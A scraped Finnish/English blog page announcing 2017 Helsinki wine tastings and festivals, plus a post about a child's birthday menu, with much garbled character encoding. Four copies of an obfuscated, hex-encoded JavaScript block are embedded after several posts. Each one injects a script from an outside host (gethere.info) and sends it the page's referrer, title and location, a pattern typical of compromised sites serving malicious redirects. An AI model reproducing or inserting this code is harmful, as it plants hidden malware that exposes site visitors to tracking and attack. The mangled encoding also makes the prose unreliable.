Master Classes have a limited number of places and can be purchased in advance at the Ceestashop online shop while buying tickets for themselves and their friends. More detailed information on the lectures can be found in the Master Classes section of the event website. For all Master Classes, tasting glasses are used by Lehmann Glass’s spectacular hand-blown A. Lallement glass.

In the relaxed atmosphere and atmospheric event at the Old Student House you can taste the more famous wine classics and the more rare delicacies. In addition to these, there is a wine-suitable snack in the form of small tasting doses.

Come alone, two of you or with a group. Take a contact if you want a tailor-made Master Class lecture for your group or company group.

Open

Friday 6.10.2017 at 15.30-21.00
Saturday 7.10.2017 at 12.00-20.00
In the Old Student House in Helsinki

Entrance tickets and tasting tickets

Entrance ticketsA�are sold in advance via the Ceestashop.fi webshop. The pre-sale of the tickets will continue until the evening before the event in question until 20 o’clock, for example on Friday 6.10 you can buy tickets on Thursday 5.10. and on Saturday 7.10. you can buy tickets on Friday 6.10. until 20.00 or as long as tickets are enough. Tickets are also available at the door both on Friday and Saturday at 20 a��. Welcome!

The entrance ticket includes Lehmann Glass’s Excellence 39 wine glass, which will be delivered on arrival.

The event is intended for people over 18 years of age.
Wine tasting is done with digipacks that can be downloaded at the labels. The value of the Digi ticket is 2,50 a��. Prices for tasting wines vary from one to more than one brand depending on the price of the wine. The tasting dose for the event is 4 cl and for stronger wines 2 cl.

Master Class tickets are purchased separately and Master Class tickets are also required for entry to the event itself.

More information

 var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Tulossa: Old World Wines 2017 / Coming up: Old World Wines 2017

20.9.2017 Tapahtumat

Euroopan viiniklassikot ja tuntemattomammat haastajat kohtaavat Vanhalla!

Tapahtuman yli 200 viiniA� tarjoavat erinomaisen tilaisuuden maistaa ja vertailla eri alueiden viinejA� keskenA�A�n sekA� tutustua hieman tuntemattomampiin viineihin ja rypA�lelajikkeisiin.

Vanhan maailman viininviljelylle tunnusomaista ovat lukuisat alkuperA�iset ja hyvin paikalliset rypA�lelajikkeet sekA� vivahteikkaat, tuotantoalueelleen tyypilliset viinit. ViininviljelymenetelmA�t ovat kehittyneet huikeasti viimeisten vuosikymmenten aikana ja tA�nA� pA�ivA�nA� tuottajat valmistavat nykyaikaisin menetelmin perinteitA� kunnioittavia, moderneja ja tyylikkA�itA� viinejA�.

Tapahtuman tuottajavieraiden joukossa on mm. Peracon osastolla Ana Rodrigues kuuluisalta Artadin viinitilalta Espanjan Riojasta. Artadi edustaa Espanjan viininviljelyn ehdotonta huippua ja se on niittA�nyt mainetta maansa viinintuotannon edellA�kA�vijA�nA�.

ItA�vallasta tapahtumassa on paikalla Arvid Nordquistin osastolla Brigitta Steininger Weingut Steiningerin tilalta. Talon viineihin voi tutustua myA�s mielenkiintoisella master class a��luennolla.

Italian Umbriasta Moretto Omeron viinitilalta paikalle saapuu Finn-Gleran osastolle Giusi Moretti sekA� Saksasta Wine-Templen osastolle Betty Enchelmaier-Tietz Sekthaus Solterista, A�Gaby WeegmA?ller Weingut WeegmA?lleristA� ja Gloria Mathern A�Weingut Mathernista.

Tapahtuma sopii kaikille viineistA� ja ruuasta kiinnostuneille, oli sitten kyseessA� aloittelija tai jo konkari. Jos haluat kokeilla viinejA�, joita et ole ennen maistanut, tA�mA� on oiva tilaisuus! Voit lA�ytA�A� uusia suosikkeja ja sopivia juhlaviinejA�. Ja mikA� parasta, voit tutustua kalliimpiinkin viineihin pienellA� panostuksella!

Voit kierrellA� vapaasti tutustumassa viinieihinA�nA�ytteilleasettajien osastoilla, joissa on tarjolla myA�s teemallisia maistelupaketteja. Niiden kautta perehdyt luontevasti erilaisiin viineihin ja kuulet niistA� enemmA�n. Maistelun lomassa voit tutustua Winon ruokaherkkuihin sekA� osallistua master class -luennoille. Luentojen aikana tutustutaan viinien ominaisuuksiin tarkemmin.

Vapaa sisA�A�npA�A�sy! IkA�raja 18 v.
Viininmaisteluliput 2 a��/kpl, lasivuokra 2 a��
Ruokaliput 2,50 a��/kpl
Suurin osa viineistA� maksaa 1 – 2 lippua/maisteluannos 4 cl

Avoinna 27.9. klo 16:30-20.00 Vanhalla Ylioppilastalolla, HelsingissA�.

LisA�tietoja


European Wine Classics and more unknown Challengers meet in Old Student House!

Over 200 wines provide an excellent opportunity to taste and compare the wines of different regions with each other, as well as to discover a little more unfamiliar wines and grape varieties.

Old-world wine-growing is characterized by numerous original and very local grape varieties as well as vivid, typical wines of its production region. Wine-growing methods have grown immensely over the last few decades, and today, producers produce modern, fashionable, modern and elegant wines by modern methods.

Among the producers of the event are among others at the Peraco Department, Ana Rodrigues from the famous Artadi vineyard in the Spanish Riviera of Rioja. Artadi represents the absolute peak of Spanish viticulture and has been a pioneer in wine production in the country.

From Austria, the event is on the site of Arvid Nordquist, Brigitta Steininger Weingut from Steininger. You can also see the wines of the house with an interesting master class.

From the Italian Umbria Moretti Omero winery arrives at the Finn-Glera department Giuyi Moretti and from Germany to the Wine-Temple department Betty Enchelmaier-Tietz from the Sekthaus Solter, Gaby WeegmA?ller from the Weingut WeegmA?ller and Gloria Mathern from the Weingut Mathern.

The event is perfect for everyone who is interested in wine and food, whether it is a beginner or a competitor. If you want to try the wines you have not tasted before, this is a great opportunity! You can find new favorites and suitable festive wines. And best of all, you can explore the more expensive wines with a little effort!

You can go for a free tour of wine exhibitors’ exhibitions, which also offer themed tasting packages. Through them you will naturally familiarize yourself with different wines and hear them more. During the tasting you can get acquainted with Wino’s food delicacies and attend master classes. During the lectures you will learn more about the characteristics of the wines.

Free entry! Age limit 18 years
Wine tasting tickets 2 a�� / piece, glass rent 2 a��
Food tickets 2.50 a�� / piece
Most wines pay 1 – 2 tickets / tasting dose 4 cl

Open 27.9. 16: 30-20: 00 at the Old Student House in Helsinki.

More information

 var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Tulossa: MikA� Viini! -festarit HelsingissA� 20.-21.9.2017 /Coming up: What a Wine! -festival in Helsinki 20.9.-21.9.2017

20.9.2017 Tapahtumat

MikA� Viini! -festarit valtaavat jA�lleen Vanhan Ylioppilastalon HelsingissA� 20.-21. syyskuuta 2017. Tapahtuma kokoaa kaikki viineistA� ja trendikkA�istA� drinkeistA� innostuneet nauttimaan noin 150 juoman valikoimasta eri puolilta maailmaa.

Vuodesta 2002 lA�htien jA�rjestetty MikA� Viini! on vakiinnuttanut 15 vuodessa paikkansa laadukkaan suomalaisen viini- ja alkoholikulttuurin edistA�jA�nA�. Viinifestareiden laajaan tarjontaan on mahdollisuus tutustua erilaisin teemapoluin, vapaasti kierrellen tai osallistua viinintekijA�iden vetA�miin tastingeihin.

MikA� Viini! on loistava mahdollisuus tavata eri viinitalojen edustajia ja viinintekijA�itA� kymmenestA� eri maasta. TA�nA� vuonna festareilla vierailevat mm. palkituidenA�PongrA?czA�-kuohuviinien tekijA�A�Elunda Basson, pA�A�viinintekijA� Viviana Navarrete chilelA�iseltA�A�ViA�a Leydalta ja viinintekijA�A�Pilar SalillaskestA�vA�n kehityksen viinitaloltaA�Raimatilta Espanjasta. HeidA�n vetA�missA�A�n tastingeissa pA�A�see tutustumaan kunkin viinitalon viineihin ja maan viinikulttuuriin.

TA�mA�n juhlavuoden kattaus sisA�ltA�A� 20 viinitalon valikoiman, josta kannattaa tutustua erityisesti luomu- sekA� vegaaniviineihin sekA� tietysti uutuuksiin joista monet ovat maistettavana tapahtumassa etukA�teen ennen kuin ovat saatavilla Alkosta.

Nyt Suomen juhlavuonna kannattaa myA�s tutustua virallisiin Suomi 100 -viineihin, kutenA�Wine Gallery Suomi 100A�-samppanjaan. KeittiA�mestariA�Arto RastasA�on suunnitellut viinien ympA�rilleA�Juhlat kaupungissaA�jaA�Juhlat maallaA�-menut, joista festareilla on tarjolla pieniA� herkkupaloja viinien kanssa nautittavaksi. Viinien etiketeissA� toistuvien Tove Janssonin Juhlat maalla ja Juhlat kaupungissa freskojen tarinaan voit tutustua liki kolmemetrisen Juhlat kaupungissa -freskojA�ljennA�ksen edessA� lisA�tyn todellisuuden avulla. Freskon tarinaan pA�A�set kA�siksi lataamallaA�mobiilisovellus Arilynin.

Suuren suosion saaneen Cocktail loungen valikoimasta lA�ytyy herkullisia matala-alkoholisia drinkkejA� sekA� juomasekoitusuutuuksia.A�Blossa 17A�-vuosikertaglA�gi ja sen salainen makumatka maailmalle on ensi kertaa maistettavana festareilla.

Ilmainen sisA�A�npA�A�sy. Viininmaistelulipukkeet 1a��/kpl. Suurin osa maisteltavista viineistA� maksaa 1-3 lipuketta / maisteluannos (4 cl). IkA�raja 18 vuotta.

Avoinna 20.9.-21.9. klo 16-20

LisA�tietoja


What a Wine! -festivals will come back to the Old Student House in Helsinki on 20-21. September 2017. The event brings together all who are excited to enjoy around 150 A�the wines and trendy drinks from around the world.

Since 2002 organized What a Wine! has established its place in the past 15 years as a promoter of quality Finnish wine and alcohol culture. The wide range of wine festivals offers access to a variety of theme paths, looking around free or participating in wine-tasting sessions.

What a Wine! is a great opportunity to meet with representatives of various wine houses and winemakers from ten different countries. This year, during festivals, Elonga Basson, the renowned PongrA?cz sparkling wine producer, Viviana Navarrete from Chile, ViA�a Leida, and a winemaker from Pilar Salillas of sustainable development Wine Cellar from Raimat, Spain. In their wine tastings you can get to know the wines of each wine cellar and the country’s wine culture.

This anniversary celebration includes a selection of 20 vineyards, which are worth a try especially for organic and vegan wines and of course novelties, many of which are tasted ahead of time before being available from Alko.

Now in Finland’s jubilee year, you can also get to know the official Finnish 100 wines, such as the Wine Gallery Finland 100 champagne. Chef Arto Rastas has designed menus ”Festivals in the city” and ”Festivals in the country” from wines around the Festivals, where the festivals offer small delicacies to enjoy the wines. You can get to know with the story behind the Tove Jansson’s Festival in the country and Festival in the city frescos which are also in the wine labels, by the reality added in front of the three meter Festivals in the country fresco duplicate. You can access the story of the fresco by downloading the mobile app Arilyn.

The popular Cocktail lounge offers delicious low alcohol drinks and cocktails. The Blossa 17 -vintage glogg and its secret tasting to the world is the first time to be tasted at festivals.

Free entry. Wine tasting tickets 1 a�� / piece. Most of the tasting wines cost 1 to 3 tickets A�/ tasting (4 cl). Age limit for 18 years.

Open 20.9.-21.9. at 16-20.

More information

 

 var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Usvan 2v synttA�rit (Usva’s second birthday)

19.6.2017 Tapahtumat

Nuorempi tyttA�remme Usva tA�ytti toukokuussaA�2 vuotta. Juhlia vietimme A�ystA�vien ja sukulaisten kesken. Tarjolla oli niin suolaista kuin makeaa. Suolaisia tarjottavia: Italialaiset leipA�rullat, tA�ytetyt kirsikkatomaatit, VA�limerellinen couscous-salaatti ja karjalanpiirakat munavoilla.


Our younger daughter Usva turned 2 years in May. We celebrated her birthday a while agoA�with friends and relatives. We served both, savory and sweet dishes. Savory dishes: Italian sandwich rolls, stuffed cherry tomatoes, Mediterranean couscous salad and Karelian pies with spread of egg and butter.

 

 

 

 

 

 

 

 

Makeita tarjottavia: Suklaakonvehdit, minihedelmA�pizzat, minipavlovat ja jA�A�telA�kakku.
——————————————————————————————————–
Sweet dishes: Chocolate, mini fruit pizza, minipavlova and ice cream cake.

 

 

 

 

 

 

 

 

PA�ivA� oli oikein mukava, seuraavia juhlia odotellessa 🙂


The day was very nice, waiting for next parties :)var _0x31f1=[”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}